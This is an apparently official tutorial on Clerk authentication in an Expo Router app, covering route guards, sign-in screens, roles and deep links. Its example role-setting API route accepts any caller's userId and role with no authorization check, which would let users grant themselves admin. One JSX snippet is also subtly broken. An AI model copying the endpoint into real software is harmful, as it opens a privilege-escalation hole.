Expo Router supports **Stack** navigators for hierarchical push/pop navigation, **Tab** navigators for top-level sections, and nesting them together. The `<Redirect>` component handles declarative navigation, while `useRouter()` gives you programmatic control with `router.push()`, `router.replace()`, and `router.back()`.

## Setting up Clerk with Expo Router

### Install dependencies

Create a new Expo project and install the required packages.

```bash
npx create-expo-app@latest my-auth-app
cd my-auth-app
npx expo install @clerk/expo expo-secure-store
```

### Configure [environment variables](/docs/guides/development/clerk-environment-variables)

Create a `.env` file in the project root with your Clerk publishable key.

```
EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_your-key-here
```

Find your key in the [Clerk Dashboard](https://dashboard.clerk.com) under **API Keys**. You also need to **enable Native API** in the Clerk Dashboard, a commonly missed step.

### Configure ClerkProvider in the root layout

Add `ClerkProvider` to `app/_layout.tsx`. The `tokenCache` from `@clerk/expo/token-cache` encrypts and persists [session tokens](/docs/guides/sessions/customize-session-tokens) on-device using `expo-secure-store` (iOS Keychain, Android Keystore). This means authentication state survives app restarts without requiring the user to sign in again.

**`app/_layout.tsx`**

```typescript
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Slot } from 'expo-router'
import * as SplashScreen from 'expo-splash-screen'

// Call at module scope (inside a component risks being too late)
SplashScreen.preventAutoHideAsync()

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
    >
      <Slot />
    </ClerkProvider>
  )
}
```

Calling `SplashScreen.preventAutoHideAsync()` at **module scope** (outside the component function) is important. Calling it inside the component risks running after the splash screen has already been dismissed.

### Handle authentication loading state

Clerk's SDK needs time to restore the session from secure storage. During this window, `isLoaded` from `useAuth()` is `false`, and checking `isSignedIn` would give unreliable results. You can use the `ClerkLoaded` and `ClerkLoading` components as an alternative to checking `isLoaded` directly.

```typescript
import { ClerkLoaded, ClerkLoading, ClerkProvider } from '@clerk/expo'
import { ActivityIndicator, View } from 'react-native'

export default function RootLayout() {
  return (
    <ClerkProvider>
      <ClerkLoading>
        <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}>
          <ActivityIndicator size="large" />
        </View>
      </ClerkLoading>
      <ClerkLoaded>
        <Slot />
      </ClerkLoaded>
    </ClerkProvider>
  )
}
```

## Protecting routes: public vs private

### Route group architecture

Split your app into two route groups:

- `(auth)/` contains sign-in, sign-up, and other public screens
- `(app)/` contains dashboard, profile, admin, and all protected screens

Each group has its own `_layout.tsx` that enforces access rules. The parentheses mean these group names never appear in URLs.

### Stack.Protected: the recommended approach

`Stack.Protected` (available since Expo SDK 53 / Router v5) accepts a boolean `guard` prop. When `guard` is `false`, those screens become inaccessible and the user redirects to the **anchor route**, the nearest accessible screen. It also automatically cleans up navigation history when a screen becomes protected.

**`app/_layout.tsx`** (with route guards)

```typescript
import { ClerkProvider, useAuth } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Stack } from 'expo-router'
import * as SplashScreen from 'expo-splash-screen'

SplashScreen.preventAutoHideAsync()

function RootNavigator() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) return null

  SplashScreen.hideAsync()

  return (
    <Stack screenOptions={{ headerShown: false }}>
      <Stack.Protected guard={isSignedIn === true}>
        <Stack.Screen name="(app)" />
      </Stack.Protected>
      <Stack.Protected guard={isSignedIn === false}>
        <Stack.Screen name="(auth)" />
      </Stack.Protected>
    </Stack>
  )
}

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
    >
      <RootNavigator />
    </ClerkProvider>
  )
}
```

When `isSignedIn` is `true`, the `(app)` group is accessible and `(auth)` is blocked. When `isSignedIn` is `false`, the opposite applies. This dual-guard pattern handles both directions: preventing unauthenticated users from reaching protected screens, and preventing authenticated users from seeing login screens.

> \[!IMPORTANT]
> `Stack.Protected` is client-side only. It controls navigation, not data access. Always validate authentication and authorization on your server.

> \[!NOTE]
> `Stack.Protected` has known platform-specific issues. On iOS, the protected screen may briefly appear before the guard redirects ([expo/expo #37305](https://github.com/expo/expo/issues/37305)). On web, routes with the same name in different protected groups can conflict ([expo/expo #37816](https://github.com/expo/expo/issues/37816)), and redirects may leave the wrong path in the browser address bar ([expo/expo #38387](https://github.com/expo/expo/issues/38387)). If you hit these, the `useAuth()` + `Redirect` approach described next is a reliable alternative.

### Alternative: useAuth + Redirect

For more control over redirect behavior, or for projects on older SDK versions, use `useAuth()` with the `<Redirect>` component in each group's layout.

In the `(app)` layout, redirect unauthenticated users to sign-in:

**`app/(app)/_layout.tsx`** (alternative approach)

```typescript
import { useAuth } from '@clerk/expo'
import { Redirect, Tabs } from 'expo-router'

export default function AppLayout() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) return null

  if (!isSignedIn) {
    return <Redirect href="/(auth)/sign-in" />
  }

  return (
    <Tabs screenOptions={{ headerShown: true }}>
      <Tabs.Screen name="index" options={{ title: 'Home' }} />
      <Tabs.Screen name="profile" options={{ title: 'Profile' }} />
      <Tabs.Screen name="admin" options={{ title: 'Admin' }} />
    </Tabs>
  )
}
```

In the `(auth)` layout, redirect authenticated users to the dashboard:

**`app/(auth)/_layout.tsx`**

```typescript
import { useAuth } from '@clerk/expo'
import { Redirect, Stack } from 'expo-router'

export default function AuthLayout() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) return null

  if (isSignedIn) {
    return <Redirect href="/(app)" />
  }

  return (
    <Stack screenOptions={{ headerShown: false }}>
      <Stack.Screen name="sign-in" />
      <Stack.Screen name="sign-up" />
    </Stack>
  )
}
```

The critical detail: **always check `isLoaded` before `isSignedIn`**. Skipping this check causes premature redirects on every cold start.

Here's how the two approaches compare side by side:

|                  | Stack.Protected          | useAuth + Redirect        |
| ---------------- | ------------------------ | ------------------------- |
| SDK requirement  | Expo SDK 53+             | Any version               |
| History cleanup  | Automatic                | Manual (`router.replace`) |
| Code location    | Root layout              | Each group layout         |
| Redirect control | Anchor route (automatic) | Full control over target  |
| Platform issues  | Known iOS/web bugs       | Stable across platforms   |

### Show component for conditional UI

The `<Show>` component from `@clerk/expo` conditionally renders UI elements based on authentication or authorization state. It handles rendering within a screen, **not route-level protection**. Always use layout guards for route protection.

```typescript
import { Show } from '@clerk/expo'

export default function Header() {
  return (
    <View>
      <Show when="signed-in">
        <UserAvatar />
      </Show>
      <Show when="signed-out">
        <SignInButton />
      </Show>
    </View>
  )
}
```

`Show` also supports authorization checks: `when={{ role: 'org:admin' }}`, `when={{ permission: 'org:posts:edit' }}`, `when={{ plan: 'premium' }}`, and `when={{ feature: 'premium_access' }}`. Plans and features use plain strings. Roles and permissions require an active Organization with the `org:` prefix.

The `treatPendingAsSignedOut` prop controls what happens during **pending sessions** (when a user has authenticated but hasn't completed required session tasks like selecting an organization). By default it's `true`, meaning pending users see the signed-out fallback content. Set it to `false` to show the signed-in content for pending users instead.

> \[!NOTE]
> `<Show>` only controls rendering on the client. It does not enforce access at the data level. For sensitive data, perform authorization checks on the server.

## Building the authentication screens

All examples use Clerk's **Core 3 Signal API**. Many existing tutorials online show the legacy `signIn.create()` / `setActive()` pattern, which is deprecated. The examples below use the current API with `signIn.password()` / `finalize()`.

The `finalize()` method accepts an optional `navigate` callback that controls where the user goes after authentication completes. Clerk passes `{ session, decorateUrl }` to the callback, where `session` is the newly created session and `decorateUrl` handles web-specific token management. In Expo apps, you can ignore these parameters and navigate directly.

### Sign-up screen

The sign-up flow has two phases: registration and email verification.

**`app/(auth)/sign-up.tsx`**

```typescript
import { useSignUp } from '@clerk/expo'
import { useRouter } from 'expo-router'
import { useState } from 'react'
import {
  View,
  Text,
  TextInput,
  TouchableOpacity,
  ActivityIndicator,
  StyleSheet,
} from 'react-native'

export default function SignUpScreen() {
  const { signUp, errors, fetchStatus } = useSignUp()
  const router = useRouter()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')
  const [code, setCode] = useState('')
  const [pendingVerification, setPendingVerification] = useState(false)

  const handleSignUp = async () => {
    await signUp.password({ emailAddress: email, password })
    await signUp.verifications.sendEmailCode()
    setPendingVerification(true)
  }

  const handleVerification = async () => {
    await signUp.verifications.verifyEmailCode({ code })
    await signUp.finalize({ navigate: () => router.replace('/(app)') })
  }

  if (pendingVerification) {
    return (
      <View style={styles.container}>
        <Text style={styles.title}>Verify your email</Text>
        <TextInput
          value={code}
          onChangeText={setCode}
          placeholder="Enter verification code"
          keyboardType="number-pad"
          style={styles.input}
        />
        {errors?.fields?.code && <Text style={styles.error}>{errors.fields.code.message}</Text>}
        {fetchStatus === 'fetching' ? (
          <ActivityIndicator />
        ) : (
          <TouchableOpacity style={styles.button} onPress={handleVerification}>
            <Text style={styles.buttonText}>Verify</Text>
          </TouchableOpacity>
        )}
      </View>
    )
  }

  return (
    <View style={styles.container}>
      <Text style={styles.title}>Create an account</Text>
      <TextInput
        value={email}
        onChangeText={setEmail}
        placeholder="Email"
        autoCapitalize="none"
        keyboardType="email-address"
        style={styles.input}
      />
      {errors?.fields?.emailAddress && (
        <Text style={styles.error}>{errors.fields.emailAddress.message}</Text>
      )}
      <TextInput
        value={password}
        onChangeText={setPassword}
        placeholder="Password"
        secureTextEntry
        style={styles.input}
      />
      {errors?.fields?.password && (
        <Text style={styles.error}>{errors.fields.password.message}</Text>
      )}
      {fetchStatus === 'fetching' ? (
        <ActivityIndicator />
      ) : (
        <TouchableOpacity style={styles.button} onPress={handleSignUp}>
          <Text style={styles.buttonText}>Sign Up</Text>
        </TouchableOpacity>
      )}
      <TouchableOpacity onPress={() => router.push('/(auth)/sign-in')}>
        <Text style={styles.link}>Already have an account? Sign in</Text>
      </TouchableOpacity>
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, padding: 24, justifyContent: 'center' },
  title: { fontSize: 24, fontWeight: 'bold', marginBottom: 24 },
  input: {
    borderWidth: 1,
    borderColor: '#ccc',
    borderRadius: 8,
    padding: 12,
    marginBottom: 12,
    fontSize: 16,
  },
  button: {
    backgroundColor: '#6C47FF',
    padding: 16,
    borderRadius: 8,
    alignItems: 'center',
  },
  buttonText: { color: '#fff', fontSize: 16, fontWeight: '600' },
  error: { color: '#ef4444', marginBottom: 8, fontSize: 14 },
  link: { color: '#6C47FF', marginTop: 16, textAlign: 'center' },
})
```

The Core 3 API handles errors reactively through the `errors.fields` object. When `signUp.password()` encounters validation issues (like an invalid email or weak password), `errors.fields` updates automatically and the component re-renders with the error messages displayed. No try/catch needed for validation errors.

The `fetchStatus` value switches between `'idle'` and `'fetching'`, so you can show a loading indicator while the API call is in flight.

### Sign-in screen

**`app/(auth)/sign-in.tsx`**

```typescript
import { useSignIn } from '@clerk/expo'
import { useRouter } from 'expo-router'
import { useState } from 'react'
import {
  View,
  Text,
  TextInput,
  TouchableOpacity,
  ActivityIndicator,
  StyleSheet,
} from 'react-native'

export default function SignInScreen() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const router = useRouter()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')

  const handleSignIn = async () => {
    await signIn.password({ identifier: email, password })
    await signIn.finalize({ navigate: () => router.replace('/(app)') })
  }

  return (
    <View style={styles.container}>
      <Text style={styles.title}>Sign in</Text>
      <TextInput
        value={email}
        onChangeText={setEmail}
        placeholder="Email"
        autoCapitalize="none"
        keyboardType="email-address"
        style={styles.input}
      />
      {errors?.fields?.identifier && (
        <Text style={styles.error}>{errors.fields.identifier.message}</Text>
      )}
      <TextInput
        value={password}
        onChangeText={setPassword}
        placeholder="Password"
        secureTextEntry
        style={styles.input}
      />
      {errors?.fields?.password && (
        <Text style={styles.error}>{errors.fields.password.message}</Text>
      )}
      {fetchStatus === 'fetching' ? (
        <ActivityIndicator />
      ) : (
        <TouchableOpacity style={styles.button} onPress={handleSignIn}>
          <Text style={styles.buttonText}>Sign In</Text>
        </TouchableOpacity>
      )}
      <TouchableOpacity onPress={() => router.push('/(auth)/sign-up')}>
        <Text style={styles.link}>Don't have an account? Sign up</Text>
      </TouchableOpacity>
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, padding: 24, justifyContent: 'center' },
  title: { fontSize: 24, fontWeight: 'bold', marginBottom: 24 },
  input: {
    borderWidth: 1,
    borderColor: '#ccc',
    borderRadius: 8,
    padding: 12,
    marginBottom: 12,
    fontSize: 16,
  },
  button: {
    backgroundColor: '#6C47FF',
    padding: 16,
    borderRadius: 8,
    alignItems: 'center',
  },
  buttonText: { color: '#fff', fontSize: 16, fontWeight: '600' },
  error: { color: '#ef4444', marginBottom: 8, fontSize: 14 },
  link: { color: '#6C47FF', marginTop: 16, textAlign: 'center' },
})
```

Using `router.replace()` in the `navigate` callback prevents the sign-in screen from remaining in the navigation stack. The callback receives `{ session, decorateUrl }` from Clerk, but in Expo apps you can navigate directly since `decorateUrl` is primarily for web cookie management. With `Stack.Protected`, `router.push()` is also safe because the guard automatically redirects authenticated users away from auth screens. Without route guards, `router.replace()` is the safer choice.

### Sign-out flow

**`components/SignOutButton.tsx`**

```typescript
import { useClerk } from '@clerk/expo'
import { useRouter } from 'expo-router'
import { TouchableOpacity, Text, StyleSheet } from 'react-native'

export function SignOutButton() {
  const { signOut } = useClerk()
  const router = useRouter()

  const handleSignOut = async () => {
    await signOut()
    router.replace('/(auth)/sign-in')
  }

  return (
    <TouchableOpacity style={styles.button} onPress={handleSignOut}>
      <Text style={styles.text}>Sign Out</Text>
    </TouchableOpacity>
  )
}

const styles = StyleSheet.create({
  button: { padding: 12 },
  text: { color: '#ef4444', fontSize: 16 },
})
```

With `Stack.Protected`, signing out triggers the guard change (`isSignedIn` flips to `false`), which automatically cleans up navigation history and redirects to the auth screens. The explicit `router.replace()` call acts as a fallback for setups that don't use `Stack.Protected`.

### [OAuth](/docs/guides/configure/auth-strategies/oauth/overview) and social sign-in

For social [single sign-on](/glossary/single-sign-on-sso), use the `useSSO()` hook (which replaces the deprecated `useOAuth()`):

```typescript
import { useSSO } from '@clerk/expo'

const { startSSOFlow } = useSSO()

const result = await startSSOFlow({ strategy: 'oauth_google' })

// SSO completion uses setActive(), not finalize()
if (result.createdSessionId) {
  await result.setActive({ session: result.createdSessionId })
}
```

Native OAuth (Google Sign-In, Apple Sign-In) and native Clerk components (`AuthView`, `UserButton`) require a [development build](https://docs.expo.dev/develop/development-builds/introduction/). Browser-based OAuth and the JavaScript-only flows shown above work in Expo Go. See the [full SSO documentation](/docs/reference/expo/native-hooks/use-sso) for complete implementation details.

> \[!IMPORTANT]
> The SSO flow uses `setActive({ session: createdSessionId })` to activate the session. This differs from the email/password flows, which use `finalize({ navigate })`. The `useSSO` hook uses legacy patterns internally. Don't try to use `finalize()` with SSO results.

## Building protected screens

### Dashboard

The dashboard sits behind the auth guard. Once the user is signed in, they land here.

**`app/(app)/index.tsx`**

```typescript
import { useAuth, useUser } from '@clerk/expo'
import { View, Text, StyleSheet } from 'react-native'
import { SignOutButton } from '../../components/SignOutButton'

export default function DashboardScreen() {
  const { userId, sessionId, getToken } = useAuth()
  const { user } = useUser()

  const fetchProtectedData = async () => {
    const token = await getToken()
    const response = await fetch('https://your-api.com/data', {
      headers: { Authorization: `Bearer ${token}` },
    })
    return response.json()
  }

  return (
    <View style={styles.container}>
      <Text style={styles.title}>
        Welcome, {user?.firstName || user?.primaryEmailAddress?.emailAddress}
      </Text>
      <Text style={styles.detail}>User ID: {userId}</Text>
      <Text style={styles.detail}>Session: {sessionId}</Text>
      <SignOutButton />
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, padding: 24 },
  title: { fontSize: 24, fontWeight: 'bold', marginBottom: 16 },
  detail: { fontSize: 14, color: '#666', marginBottom: 8 },
})
```

Use `getToken()` from `useAuth()` to attach Clerk session tokens to API requests. Your backend validates these tokens using Clerk's backend SDK to ensure only authenticated users access your API.

### User profile

**`app/(app)/profile.tsx`**

```typescript
import { useUser } from '@clerk/expo'
import { View, Text, Image, StyleSheet } from 'react-native'
import { SignOutButton } from '../../components/SignOutButton'

export default function ProfileScreen() {
  const { user } = useUser()

  return (
    <View style={styles.container}>
      {user?.imageUrl && <Image source={{ uri: user.imageUrl }} style={styles.avatar} />}
      <Text style={styles.name}>{user?.fullName}</Text>
      <Text style={styles.email}>{user?.primaryEmailAddress?.emailAddress}</Text>
      <SignOutButton />
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, padding: 24, alignItems: 'center' },
  avatar: { width: 100, height: 100, borderRadius: 50, marginBottom: 16 },
  name: { fontSize: 24, fontWeight: 'bold', marginBottom: 4 },
  email: { fontSize: 16, color: '#666', marginBottom: 16 },
})
```

For richer profile management, Clerk provides a native `UserProfileView` component from `@clerk/expo/native`. It renders a full profile editing UI using SwiftUI on iOS and Jetpack Compose on Android, but requires a development build.

### Admin dashboard

The admin dashboard is only accessible to users with the `admin` role. The layout guard (covered in the next section) handles the access control.

**`app/(app)/admin/index.tsx`**

```typescript
import { useAuth, useUser } from '@clerk/expo'
import { View, Text, StyleSheet } from 'react-native'

export default function AdminDashboardScreen() {
  const { sessionClaims } = useAuth()
  const { user } = useUser()
  const role = sessionClaims?.metadata?.role

  return (
    <View style={styles.container}>
      <Text style={styles.title}>Admin Dashboard</Text>
      <Text style={styles.detail}>Signed in as {user?.primaryEmailAddress?.emailAddress}</Text>
      <Text style={styles.detail}>Role: {role}</Text>
      <Text style={styles.info}>
        This screen is protected by the admin layout guard. Only users with the admin role in their
        publicMetadata can reach this screen.
      </Text>
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, padding: 24 },
  title: { fontSize: 24, fontWeight: 'bold', marginBottom: 16 },
  detail: { fontSize: 14, color: '#666', marginBottom: 8 },
  info: { fontSize: 14, color: '#333', marginTop: 16, lineHeight: 22 },
})
```

The `sessionClaims` object gives you access to the custom claims you configured in the Clerk Dashboard. Since you added `publicMetadata` to the session token, the role is available at `sessionClaims?.metadata?.role` without any additional API calls.

## Role-based access control (RBAC)

### Setting up roles in Clerk

For apps that don't use Clerk [Organizations](/docs/organizations/overview), the recommended approach is storing roles in `publicMetadata` on the user object.

Clerk has three metadata types on the user object:

| Type              | Frontend   | Backend    | Use for roles?                   |
| ----------------- | ---------- | ---------- | -------------------------------- |
| `publicMetadata`  | Read       | Read/Write | Yes (secure, backend-controlled) |
| `privateMetadata` | No access  | Read/Write | No (not accessible client-side)  |
| `unsafeMetadata`  | Read/Write | Read/Write | No (users can modify it)         |

`publicMetadata` is the right choice for roles because it's readable from the frontend (so your layout guards can check it) but only writable from a backend API (so users can't escalate their own privileges).

Set a user's role using the Clerk backend SDK:

**`app/api/set-role+api.ts`**

```typescript
import { clerkClient } from '@clerk/express'

export async function POST(request: Request) {
  const { userId, role } = await request.json()

  await clerkClient().users.updateUserMetadata(userId, {
    publicMetadata: { role },
  })

  return Response.json({ success: true })
}
```

> \[!TIP]
> Expo Router API routes (`+api.ts`) require a server environment (the local dev server during development, or EAS Hosting in production). They don't run inside Expo Go on-device. For local development and testing, set roles directly in the [Clerk Dashboard](https://dashboard.clerk.com): navigate to **Users**, select a user, click **Public metadata**, then **Edit**, and add `{"role": "admin"}`.

The same pattern works with any Node.js backend (Express, Hono, Fastify, etc.), not just Expo Router API routes.

Next, customize the session token to include role data. In the Clerk Dashboard, go to **Sessions** and click **Edit** on the claims editor. Add:

```json
{
  "metadata": "{{user.public_metadata}}"
}
```

This makes the role available in the session token, so you can read it client-side without a separate API call. Custom claims are limited to about 1.2KB (constrained by the 4KB cookie size limit after Clerk's default claims).

### TypeScript type definitions

Make the custom claims type-safe by adding a global type declaration:

**`types/globals.d.ts`**

```typescript
export {}

type Roles = 'admin' | 'moderator' | 'user'

declare global {
  interface CustomJwtSessionClaims {
    metadata?: {
      role?: Roles
    }
  }
}
```

### Reading roles and protecting routes by role

Read the role from `sessionClaims` via `useAuth()`:

**`utils/roles.ts`**

```typescript
import { useAuth } from '@clerk/expo'

export function useRole() {
  const { sessionClaims } = useAuth()
  return sessionClaims?.metadata?.role
}

export function useIsAdmin() {
  return useRole() === 'admin'
}
```

Protect admin routes with a layout guard:

**`app/(app)/admin/_layout.tsx`**

```typescript
import { useAuth } from '@clerk/expo'
import { Redirect, Stack } from 'expo-router'

export default function AdminLayout() {
  const { isLoaded, sessionClaims } = useAuth()
  const role = sessionClaims?.metadata?.role

  if (!isLoaded) return null

  if (role !== 'admin') {
    return <Redirect href="/(app)" />
  }

  return (
    <Stack>
      <Stack.Screen name="index" options={{ title: 'Admin Dashboard' }} />
    </Stack>
  )
}
```

With `Stack.Protected`, you can set the guard at the parent layout level instead:

```typescript
// In app/(app)/_layout.tsx
;<Stack.Protected guard={role === 'admin'}>
  <Stack.Screen name="admin" />
</Stack.Protected>
```

> \[!IMPORTANT]
> `has({ role: 'org:admin' })` does **not** check custom `publicMetadata` roles. It only works with Organization-based roles and requires an active Organization. For standalone apps using `publicMetadata`, compare `sessionClaims?.metadata?.role` directly.

Server-side validation is essential. Client-side role checks are for UX, not security. Always verify roles on your backend before granting access to sensitive data or operations.

### Feature-based access with Organizations

For B2B [multi-tenant](/glossary/multi-tenancy) apps, Clerk [Organizations](/docs/organizations/overview) provide built-in RBAC with the `has()` function, [custom roles](/docs/guides/organizations/control-access/roles-and-permissions), and [custom permissions](/docs/guides/organizations/control-access/roles-and-permissions).

```typescript
import { Show } from '@clerk/expo'
import { View } from 'react-native'

export default function RootLayout() {
  return (
    <View style={styles.container}>
      // Permission-based UI
      <Show when={{ permission: 'org:posts:edit' }}>
        <EditButton />
      </Show>
      // Plan-based UI
      <Show when={{ plan: 'premium' }}>
        <PremiumFeatures />
      </Show>
      // Feature-based UI
      <Show when={{ feature: 'premium_access' }}>
        <AdvancedAnalytics />
      </Show>
    </View>
  )
}
```

The `has()` function supports 4 parameter shapes: `role` (org-scoped), `permission` (org-scoped), `feature` (user or org-scoped), and `plan` (user or org-scoped). Plans and features work at the user level too, meaning B2C apps without Organizations can use `has({ plan: 'premium' })` and `has({ feature: 'premium_access' })`. The `org:resource:action` namespace convention applies only to roles and permissions, not to plans or features, which use plain strings.

Session tokens have a 60-second default lifetime and refresh automatically before expiry. Role changes propagate on the next token refresh. For immediate updates, use `getToken({ skipCache: true })` to force a fresh token, or `user.reload()` to refresh user data.

### Conditional UI based on roles

Hide navigation elements based on the user's role. For example, conditionally hide the admin tab for non-admin users (full tab layout implementation in the next section):

```typescript
<Tabs.Screen
  name="admin"
  options={{
    title: 'Admin',
    href: role === 'admin' ? '/(app)/admin' : null,
  }}
/>
```

Setting `href` to `null` hides the tab from the navigation bar while keeping the route defined. Non-admin users won't see the tab, and the admin layout guard catches any direct access attempts.

## Tab navigators with protected routes

### Setting up protected tabs

Here's the full `(app)` layout with tabs and a conditional admin tab:

**`app/(app)/_layout.tsx`**

```typescript
import { useAuth } from '@clerk/expo'
import { Redirect, Tabs } from 'expo-router'
import { Ionicons } from '@expo/vector-icons'

export default function AppLayout() {
  const { isSignedIn, isLoaded, sessionClaims } = useAuth()
  const role = sessionClaims?.metadata?.role

  if (!isLoaded) return null

  // Only needed if NOT using Stack.Protected in root layout
  if (!isSignedIn) {
    return <Redirect href="/(auth)/sign-in" />
  }

  return (
    <Tabs screenOptions={{ headerShown: true }}>
      <Tabs.Screen
        name="index"
        options={{
          title: 'Home',
          tabBarIcon: ({ color, size }) => <Ionicons name="home" color={color} size={size} />,
        }}
      />
      <Tabs.Screen
        name="profile"
        options={{
          title: 'Profile',
          tabBarIcon: ({ color, size }) => <Ionicons name="person" color={color} size={size} />,
        }}
      />
      <Tabs.Screen
        name="admin"
        options={{
          title: 'Admin',
          href: role === 'admin' ? '/(app)/admin' : null,
          tabBarIcon: ({ color, size }) => <Ionicons name="shield" color={color} size={size} />,
        }}
      />
    </Tabs>
  )
}
```

When `href` is `null`, the tab disappears from the tab bar. When the user's role changes (for instance, they're promoted to admin), the tab appears on the next render.

> \[!NOTE]
> Dynamically changing `href` between `null` and a path causes the tab navigator to remount. This is expected behavior.

### Nested stack navigation within tabs

Each tab can contain its own Stack navigator for drill-down navigation. Navigation state persists when switching between tabs.

```
app/(app)/
├── _layout.tsx              # Tabs navigator
├── index.tsx                # Home tab root
├── details/
│   ├── _layout.tsx          # Stack inside Home tab
│   └── [id].tsx             # Detail screen
├── profile.tsx              # Profile tab root
└── admin/
    ├── _layout.tsx          # Stack + role guard
    └── index.tsx            # Admin dashboard
```

A user can navigate from the Home tab into a details screen, switch to the Profile tab, switch back to Home, and find their details screen still on the stack.

## Handling deep links to protected routes

### How deep linking works with route protection

Expo Router provides built-in deep linking. Every file in the `app/` directory is automatically deep linkable. A link like `myauthapp://profile` opens the profile screen directly. A link like `myauthapp://admin` opens the admin section (if the user has access).

When an unauthenticated user taps a deep link to a protected route, the auth guard in the layout redirects them to sign-in. The catch: Expo Router does **not** automatically redirect back to the deep-linked route after authentication. You need to capture the intended destination and handle the redirect yourself.

### Implementing post-authentication redirect

Capture the intended URL before redirecting to sign-in, then navigate there after successful authentication:

**`app/(auth)/sign-in.tsx`** (with deep link support)

```typescript
import { useSignIn } from '@clerk/expo'
import { useLocalSearchParams, useRouter } from 'expo-router'
import { useState } from 'react'
import { View, Text, TextInput, TouchableOpacity, StyleSheet } from 'react-native'

export default function SignInScreen() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const router = useRouter()
  const { returnTo } = useLocalSearchParams<{ returnTo?: string }>()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')

  const handleSignIn = async () => {
    await signIn.password({ identifier: email, password })
    await signIn.finalize({
      navigate: () => {
        router.replace(returnTo || '/(app)')
      },
    })
  }

  return (
    <View style={styles.container}>
      <Text style={styles.title}>Sign in</Text>
      <TextInput
        value={email}
        onChangeText={setEmail}
        placeholder="Email"
        autoCapitalize="none"
        keyboardType="email-address"
        style={styles.input}
      />
      {errors?.fields?.identifier && (
        <Text style={styles.error}>{errors.fields.identifier.message}</Text>
      )}
      <TextInput
        value={password}
        onChangeText={setPassword}
        placeholder="Password"
        secureTextEntry
        style={styles.input}
      />
      {errors?.fields?.password && (
        <Text style={styles.error}>{errors.fields.password.message}</Text>
      )}
      <TouchableOpacity style={styles.button} onPress={handleSignIn}>
        <Text style={styles.buttonText}>Sign In</Text>
      </TouchableOpacity>
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, padding: 24, justifyContent: 'center' },
  title: { fontSize: 24, fontWeight: 'bold', marginBottom: 24 },
  input: {
    borderWidth: 1,
    borderColor: '#ccc',
    borderRadius: 8,
    padding: 12,
    marginBottom: 12,
    fontSize: 16,
  },
  button: {
    backgroundColor: '#6C47FF',
    padding: 16,
    borderRadius: 8,
    alignItems: 'center',
  },
  buttonText: { color: '#fff', fontSize: 16, fontWeight: '600' },
  error: { color: '#ef4444', marginBottom: 8, fontSize: 14 },
})
```

Pass the intended destination as a query parameter when redirecting from the auth guard:

```typescript
// In the (app) layout guard (alternative approach):
const pathname = usePathname()

if (!isSignedIn) {
  return <Redirect href={`/(auth)/sign-in?returnTo=${pathname}`} />
}
```

### Configuring custom URL schemes

Configure your app's deep link scheme in `app.json`:

```json
{
  "expo": {
    "scheme": "myauthapp"
  }
}
```

This enables links like `myauthapp://dashboard` to open your app directly. For production apps, configure [Universal Links (iOS)](https://docs.expo.dev/linking/ios-universal-links/) and [App Links (Android)](https://docs.expo.dev/linking/android-app-links/) for `https://` scheme links that work even when the app isn't installed.

OAuth callback redirects use `expo-web-browser` to open the auth provider in an in-app browser and return to the app via the configured scheme.

An alternative pattern for deep links with Stack.Protected: present sign-in as a **modal**. When a deep link opens a protected screen, the background route is preserved behind the modal sign-in screen. After authentication, dismiss the modal and the user sees the originally linked content without any redirect logic. This works with Expo Router's modal presentation options (`presentation: 'modal'` or `presentation: 'formSheet'` on a Stack.Screen).

> \[!NOTE]
> The `+native-intent.tsx` file can intercept incoming deep links but has no access to auth context. Use `usePathname()` in layout files for URL-aware auth logic with full context.

## Managing authentication state during app startup

### The startup timing problem

On cold start, the app needs to restore the session token from secure storage before it can determine if the user is signed in. This takes a few hundred milliseconds. Without proper handling, users see a flash of the sign-in screen before being redirected to the dashboard, or the dashboard briefly appears before redirecting to sign-in.

### The complete root layout

Here's the full root layout bringing together everything from the previous sections: `ClerkProvider`, `tokenCache`, `SplashScreen`, and `Stack.Protected`.

**`app/_layout.tsx`** (final version)

```typescript
import { ClerkProvider, useAuth } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Stack } from 'expo-router'
import * as SplashScreen from 'expo-splash-screen'

// Must be called at module scope (calling inside a component may be too late)
SplashScreen.preventAutoHideAsync()

function RootNavigator() {
  const { isSignedIn, isLoaded } = useAuth()

  if (!isLoaded) {
    // Keep the splash screen visible while Clerk restores the session
    return null
  }

  // Auth state is resolved; safe to dismiss the splash screen
  SplashScreen.hideAsync()

  return (
    <Stack screenOptions={{ headerShown: false }}>
      <Stack.Protected guard={isSignedIn === true}>
        <Stack.Screen name="(app)" />
      </Stack.Protected>
      <Stack.Protected guard={isSignedIn === false}>
        <Stack.Screen name="(auth)" />
      </Stack.Protected>
    </Stack>
  )
}

export default function RootLayout() {
  return (
    <ClerkProvider
      publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
      tokenCache={tokenCache}
    >
      <RootNavigator />
    </ClerkProvider>
  )
}
```

By returning `null` from `RootNavigator` while `isLoaded` is `false`, the splash screen stays visible. Once Clerk restores the session, `isLoaded` flips to `true`, the navigator renders with the correct guards, and `hideAsync()` dismisses the splash screen. The user never sees the wrong screen.

> \[!TIP]
